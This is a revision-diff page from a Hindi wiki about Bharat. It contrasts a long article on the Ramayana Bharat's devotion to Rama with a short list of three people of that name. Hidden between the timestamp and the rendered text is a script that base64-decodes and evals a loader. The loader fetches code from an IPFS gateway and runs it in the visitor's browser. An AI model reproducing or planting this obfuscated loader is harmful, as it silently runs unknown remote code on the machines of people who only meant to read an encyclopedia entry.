"भरत" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '{{menu}}<br />' to '{{menu}}')
(पृष्ठ को '{{menu}} भरत नाम तीन लोगों के है जो इस प्रकार है-<br /> #भरत राज...' से बदल रहा है।)
पंक्ति १: पंक्ति १:
 
{{menu}}
 
{{menu}}
==श्री भरत / [[:en:Bharat|Bharat]]==
+
भरत नाम तीन लोगों के है जो इस प्रकार है-<br />
[[वाल्मीकि रामायण]] में वर्णित है कि [[अयोध्या]] के राजा [[दशरथ]] की तीन पत्नी थीं- [[कौशल्या]], [[कैकई]] और [[सुमित्रा]] । कौशल्या से [[राम]] , कैकई से भरत और सुमित्रा से [[लक्ष्मण]] एवं [[शत्रुघ्न]] पुत्र थे ।
+
#भरत राजा दशरथ क्र पुत्र और राम के भाई।
==आदर्श चरित्र==
+
#राजा दुष्यंत और शकुन्तला के पुत्र भरत।
श्री भरत जी का चरित्र समुद्र की भाँति अगाध है, बुद्धि की सीमा से परे है। लोक-आदर्श का ऐसा अद्भुत सम्मिश्रण अन्यत्र मिलना कठिन है। भ्रातृ प्रेम की तो ये सजीव मूर्ति थे। ननिहाल से अयोध्या लौटने पर जब इन्हें माता से अपने पिता के स्वर्गवास का समाचार मिलता है, तब ये शोक से व्याकुल होकर कहते हैं- 'मैंने तो सोचा था कि पिता जी श्री राम का अभिषेक करके यज्ञ की दीक्षा लेंगे, किन्तु मैं कितना बड़ा अभागा हूँ कि वे मुझ बड़े भइया श्री राम को सौंपे बिना स्वर्ग सिधार गये। जब श्री राम ही मेरे पिता और बड़े भाई हैं, जिनका मैं परम प्रिय दास हूँ। उन्हें मेरे आने की शीघ्र सूचना दें। मैं उनके चरणों में प्रणाम करूँगा। अब वे ही मेरे एकमात्र आश्रय हैं।' जब कैकेयी ने श्री भरत को श्री राम वनवास की बात बतायी, तब वे महान दु:ख से संतप्त हो गये। उन्होंने कैकेयी से कहा- 'मैं समझता हूँ, लोभ के वशीभूत होने के कारण तू अब तक यह न जान सकी कि मेरा श्री रामचन्द्र के साथ भाव कैसा है। इसी कारण तूने राज्य के लिये इतना बड़ा अनर्थ कर डाला। मुझे जन्म देने से अच्छा तो यह था कि तू बाँझ ही होती। कम-से-कम मुझ जैसे कुलकंलक का तो जन्म नहीं होता। यह वर माँगने से पहले तेरी जीभ कट कर गिरी क्यों नहीं!'
+
#ॠषभदेव के पुत्र भरत
----
 
इस प्रकार कैकेयी को नाना प्रकार से बुरा-भला कहकर श्री भरत जी कौशल्या जी के पास गये और उन्हें सान्त्वना दी। इन्होंने गुरू [[वसिष्ठ]] की आज्ञा से पिता की अन्त्येष्टि क्रिया सम्पन्न की। सबके बार-बार आग्रह के बाद भी इन्होंने राज्य लेना अस्वीकार कर दिया और दल-बल के साथ श्री राम को मनाने के लिये [[चित्रकूट]] चल दिये। श्रृंगवेरपुर में पहुँचकर इन्होंने निषादराज को देखकर रथ का परित्याग कर दिया और श्री रामसखा [[गुह]] से बड़े प्रेम से मिले। [[प्रयाग]] में अपने आश्रम पर पहुँने पर श्री [[भारद्वाज]] इनका स्वागत करते हुए कहते हैं- 'भरत! सभी साधनों का परम फल श्री [[सीता]][[राम]] का दर्शन है और उसका भी विशेष फल तुम्हारा दर्शन है। आज तुम्हें अपने बीच उपस्थित पाकर हमारे साथ तीर्थराज प्रयाग भी धन्य हो गये।'
 
श्री भरत को दल-बल के साथ चित्रकूट में आता देखकर श्री [[लक्ष्मण]] को इनकी नीयत पर शंका होती है। उस समय श्री राम ने उनका समाधान करते हुए कहा- 'लक्ष्मण! भरत पर सन्देह करना व्यर्थ है। भरत के समान शीलवान भाई इस संसार में मिलना दुर्लभ है। अयोध्या के राज्य की तो बात ही क्या [[ब्रह्मा]], [[विष्णु]] और [[शिव|महेश]] का भी पद प्राप्त करके श्री भरत को मद नहीं हो सकता।' चित्रकूट में भगवान श्री राम से मिलकर पहले श्री भरत उनसे अयोध्या लौटने का आग्रह करते हैं, किन्तु जब देखते हैं कि उनकी रूचि कुछ और है तो भगवान की चरण-पादुका लेकर अयोध्या लौट आते हैं। नन्दिग्राम में तपस्वी जीवन बिताते हुए ये श्रीराम के आगमन की चौदह वर्ष तक प्रतीक्षा करते हैं। भगवान को भी इनकी दशा का अनुमान है। वे वनवास की अवधि समाप्त होते ही एक क्षण भी विलम्ब किये बिना अयोध्या पहुँचकर इनके विरह को शान्त करते हैं। श्री रामभक्ति और आदर्श भ्रातृप्रेम के अनुपम उदाहरण श्री भरत धन्य हैं।
 
[[en:Bharat]]
 
[[श्रेणी: कोश]]
 
[[category:भगवान-अवतार]] 
 
[[category:हिन्दू]] 
 
[[category:पौराणिक]]
 
<br />
 
{{रामायण}}
 
 
__INDEX__
 
__INDEX__

०७:१९, २८ जनवरी २०१० का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भरत नाम तीन लोगों के है जो इस प्रकार है-

  1. भरत राजा दशरथ क्र पुत्र और राम के भाई।
  2. राजा दुष्यंत और शकुन्तला के पुत्र भरत।
  3. ॠषभदेव के पुत्र भरत